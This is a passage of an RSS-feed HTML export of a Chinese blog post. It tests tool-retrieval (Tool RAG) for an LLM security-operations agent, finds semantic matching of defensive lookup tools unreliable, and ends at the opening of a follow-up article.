center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> </span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">假设你有200个工具（函数），每个工具都有一定长度的功能描述、参数描述。200个工具描述，</span><span textstyle="" style="font-size: 14px;font-weight: bold;">累计占用的上下文（</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;font-weight: bold;">输入Token</span></span><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">），是无法接受的，会出现撑破模型上下文窗口</span><span textstyle="" style="font-size: 14px;">。</span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">无论LLM最终是否决定调用这200个工具里的某几个，全部定义（json schema）都需要被完整地发送出去，因为模型需要看到所有工具，才能判断到底用不用，用几个。极端情况，你发了200个工具描述，LLM响应：谢谢你，jiejie，工具都很好，但，没有我需要的那个。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">还有一个大问题，</span><span textstyle="" style="font-size: 14px;font-weight: bold;">工具过多之后，会极大地分散LLM注意力</span><span textstyle="" style="font-size: 14px;">。甚至由于部分工具存在相似性。模型的表现会越来越不稳定。 这次选ToolA，下次说不定选出来ToolB。结果的确定性、一致性会显著下降。</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  工具检索 Tool RAG</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> </span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">200个工具直接堆一起，肯定是不能用的。LLM会陷入选择困难。常见的解法</span></span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;background-color: rgb(216, 79, 169);color: rgb(255, 255, 255);font-weight: bold;font-style: normal;">数据和工具分层设计</span></span></p></li><ul style="list-style-type:circle;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">把你的工具、你的数据，通过分类方法聚类。在识别用户意图之后，通过一定算法选取子集或路由</span></span></p></li><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">弊端：心累，耗费不少时间为工具打标、分类。而且，你的分类真的合理吗？</span></span></p></li></ul><li><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;background-color: rgb(216, 79, 169);color: rgb(255, 255, 255);font-weight: bold;font-style: normal;">通过用户自然语言输入，检索适当工具</span></span></p></li><ul class="list-paddingleft-1"><li><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">这个方法叫Tool Rag</span></span></p></li></ul></ul><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">第一种，太麻烦了，先放弃吧。如果你有现成200个提供工具、暴露API的业务帮你写，可以考虑。</span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">第二种，让我来写几个demo测一下。</span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">需要说明的是，我没有对用户输入进行丰富预处理。像安全Agent，运营同事的输入可能非常简单，你看到的意图就2个字：&#34;调查&#34; &#34;排查&#34;。</span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">试验条件</span></span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">存在98个安全运营工具，每个工具都是一个函数，doc string都写好了</span></span></p></li></ul><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span leaf="">functions.<span class="code-snippet__built_in">append</span>({<span class="code-snippet__string">&#34;name&#34;</span>: node.name, <span class="code-snippet__string">&#34;docstring&#34;</span>: docstring})</span></code></pre></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-bottom:8px;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">嵌入模型使用Gemini </span></span><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">text-embedding-004(</span></span><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">QUESTION_ANSWERING)</span></span></p></li><ul style="list-style-type:circle;" class="list-paddingleft-1"><li style="font-size:12px;"><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 12px;"><a href="https://ai.google.dev/gemini-api/docs/embeddings" target="_blank">https://ai.google.dev/gemini-api/docs/embeddings</a></span></span></p></li></ul></ul><ul class="list-paddingleft-1"><li><p style="margin-bottom: 8px;" data-pm-slice="2 2 [&#34;list&#34;,{&#34;type&#34;:&#34;ul&#34;,&#34;style&#34;:&#34;list-style-type: square&#34;,&#34;class&#34;:&#34;list-paddingleft-1&#34;,&#34;start&#34;:null},&#34;listitem&#34;,null]"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">存储使用</span></span><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">ChromaDB</span></span></p></li></ul><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">我们来检索几个问题看看效果</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf=""><span class="code-snippet__section">输入: lijiejie名下有哪些漏洞？</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">命中工具:</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">Tool: get_owner_by_domain, Similarity: -0.1327</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">Tool: get_installed_software_list, Similarity: -0.1965</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">Tool: get_http_headers, Similarity: -0.2008</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">Tool: search_for_jar_package, Similarity: -0.2079</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">Tool: check_domain_in_waf, Similarity: -0.2234</span></span></code><br/><code><span leaf="">Time elapsed: 2.73</span></code><br/></pre></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000159" data-ratio="0.49074074074074076" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f21ae248&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9knrdjetO6ibJf8QMY2SndOd7HJR2cJibBicjXTT1eibAq700jS6ACXjibHiaSClqvA9uibhd8rl2lSibnwow%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">耗费3秒，就查出来这些工具，巨坑。</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf=""><span class="code-snippet__section">输入: 找出所有受CVE-2025-6554 影响的资产，需要owner信息？</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">命中工具:</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">Tool: get_owner_by_ip, Similarity: 0.1356</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">Tool: get_owner_by_url, Similarity: 0.1240</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">Tool: get_owner_by_domain, Similarity: 0.0913</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">Tool: query_url_owner, Similarity: 0.0565</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">Tool: query_ip_owner, Similarity: 0.0450</span></span></code><br/><code><span leaf="">Time elapsed: 2.64</span></code><br/></pre></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">不查了，可以看到，如果不处理意图转换，这条路绝对是行不通的。至少在安全运营的场景，运营同事的输入，利用语义相似度查询，查出来的工具没有卵用。因为如果你不是安全运营，根本不可能懂得输入和要用的工具是什么依赖关系。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">像上面的问题，笔者输入了owner这个关键词，就命中出来一堆owner工具。这对吗？明显不对！</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  我的方案: 只告诉LLM有什么数据</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> </span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">在前面2篇文章中，笔者已经提到过自己的方案</span></span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p><span leaf="" style=""><span textstyle="" style="font-size: 14px;background-color: rgb(216, 79, 169);color: rgb(255, 255, 255);font-weight: bold;font-style: normal;">0 Tools</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">：是的，这并不是最可靠的方案，我没有声明任何工具</span></span></p></li><li><p><span leaf=""><span textstyle="" style="font-size: 14px;background-color: rgb(216, 79, 169);color: rgb(255, 255, 255);font-weight: bold;font-style: normal;">只告诉模型数据在哪里，有什么样的数据</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">。具体要查什么，由LLM自己决策</span></span></p></li><ul style="list-style-type:circle;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">所以，我必须再次强调。模型理解分析场景、分解任务的能力至关重要，安全运营场景下，应该调哪个Agent去完成任务，是LLM自己决定的</span></span></p></li><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">如通你的模型能力太弱，绝对是玩不转几百个数据表，几十个Agent多轮来回调用的复杂场景。</span></span></p></li></ul></ul><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-bottom: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;background-color: rgb(216, 79, 169);color: rgb(255, 255, 255);font-weight: bold;font-style: normal;">Prompt + 数据分层</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">：将数据进行简单分层聚类。由于工具众多，必须进行适当的聚合，再到功能Agent中，进行子任务的分析处理。</span></span></p></li></ul><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span data-pm-slice="2 2 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="background-color: rgb(0, 82, 255);float: none;-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;display: inline !important;box-sizing: border-box !important;overflow-wrap: break-word !important;">  总结</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="background-color: rgb(0, 82, 255);float: none;-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;display: inline !important;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">总结，Tool RAG不行，这种语义相似度查询根本不好用。</span></span></p><p style="margin-bottom: 8px;"><span leaf="" style=""><span textstyle="" style="font-size: 14px;">Prompt并不稳定，但在几百个工具（Tool）的情况</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">下，你就需要考虑这个最不稳定的prompt方案。</span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">功能性Agent内部你可以with tools，通过Function call 去组织工具。</span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483808">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=97b471c6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483808%26idx%3D1%26sn%3D2e6ecc30ce3fff61e73b6ec2266707e1">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 11 Aug 2025 12:01:00 +0800</pubDate>
    </item>
    <item>
      <title>基于LLM的AISecOps实践案例2</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483801&amp;idx=1&amp;sn=159af78d1ae1abea829c3454aa8585fb</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>Li JieJie</span> <span>2025-08-07 19:00</span> <span style="display: inline-block;">北京</span>
</p>




<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e56342b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0jezbBnTO9n3iaqyDtk8gbeMcR4JcSSwAtNpqgCl3JAmd6wsWSkJdxzIrCic1qhLkeg8TxOVYK2Vr8HqF9UJHypA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">在安全运营方面，</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;">LLM</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">想要有出色的表现，至少依赖2个方面</span></span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">模型本身必须具备Deep Thinking能力</span></span></p></li><li><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">Agent必须能够获取高质量的数据，利用企业内部的信息优势</span></span></p></li></ul><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;color: #ff4c00;font-weight: normal;">在0剧本的情形下，LLM已经表现出较高的智能水平，能够分析、自动规划、解决相对复杂的问题。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">今天我们再来看一个例子。</span></span></p><div><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="" 